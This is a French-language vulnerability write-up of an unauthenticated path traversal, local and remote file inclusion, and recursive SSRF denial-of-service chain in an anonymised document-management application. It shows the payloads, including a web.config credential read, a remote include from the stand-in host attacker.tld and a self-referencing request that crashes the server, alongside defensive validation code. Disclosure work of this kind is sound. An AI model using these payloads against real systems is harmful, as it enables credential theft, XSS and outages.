← All write-ups
January 8, 2024CRITICALFINDING MISSION

Path traversal → LFI/RFI → SSRF-DoS chaînés (non authentifié)

Finding sur une application de gestion documentaire (client/éditeur anonymisés). Découvert par 34zY / Hamza Terir ; générateur de payload développé from scratch. Divulgation tentée, restée sans réponse. Domaines, chemins internes et credentials réels retirés.

Contexte

Application web de gestion documentaire (pile .NET/IIS). Un paramètre Page d’un endpoint de portail contrôle le fichier à charger, sans authentification requise.

Comment je l’ai trouvée

Le paramètre Page est traité sans validation ni canonicalisation : les séquences ../ ne sont ni filtrées ni décodées.

  1. Directory traversal / LFI: remontée arborescente pour lire des fichiers arbitraires :

    ?Page=..\..\..\..\web.config

    Le web.config exposait la chaîne de connexion base de données (identifiants applicatifs), également app.config, logs IIS, etc.

    Traversal : sortie du répertoire prévu par séquences ../. 1a: Path traversal via le paramètre Page (sortie du répertoire applicatif).

    LFI : contenu d’un fichier local rendu dans la réponse. 1b: Inclusion locale, contenu de fichier serveur exposé dans la réponse.

  2. RFI: le même paramètre accepte une URL absolue, chargeant du contenu distant rendu dans le contexte de l’application.

    ?Page=https://attacker.tld/malicious.html

    → XSS dans l’origine de confiance, vol de cookie, redirection phishing.

    RFI : chargement de contenu distant depuis un serveur externe. 2a: Inclusion distante, contenu externe chargé côté serveur.

    RFI rendu dans le navigateur dans le contexte de l’application. 2b: Contenu distant rendu dans l’origine de confiance (XSS).

    Étape RFI (1/2). 2c: Enchaînement RFI, étape 1.

    Étape RFI (2/2). 2d: Enchaînement RFI, étape 2.

  3. SSRF récursif → DoS: en pointant Page vers l’endpoint lui-même, imbriqué en cascade, le serveur boucle sur ses propres requêtes jusqu’à épuisement des ressources (thread pool, mémoire) :

    ?Page=<self-url>?Page=<self-url>?Page=<self-url>...   (répété)

    Une seule requête suffit à faire tomber l’application pour tous les utilisateurs.

    Déni de service : erreur serveur sous la boucle SSRF récursive. 3: Épuisement des ressources, le serveur tombe sous la requête auto-référente.

Validation technique sécurisée

Le comportement de routage peut être vérifié avec un marqueur local et une seule requête contrôlée :

curl --fail-with-body --max-time 5 \
  --get --data-urlencode 'Page=PORTFOLIO_TEST_MARKER' \
  'https://AUTHORIZED_HOST/document'

La validation défensive doit appliquer une allowlist de pages et refuser les chemins absolus, les séparateurs encodés et les schémas distants :

from pathlib import PurePosixPath

def safe_page(value: str) -> str:
    path = PurePosixPath(value)
    if path.is_absolute() or ".." in path.parts or "://" in value:
        raise ValueError("page outside approved document root")
    return value

Le test SSRF/RFI utilise uniquement un service de canary appartenant au laboratoire et confirme l’absence de requête sortante.

La faille

Aucune validation du paramètre de chargement de fichier : path traversal (CWE-22), LFI (CWE-98), RFI (CWE-918) et consommation de ressources non bornée (CWE-400). Exploitable sans authentification ni interaction.

Impact

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 (Critical).

Remédiation

CWE-22 · CWE-98 · CWE-918 · CWE-400.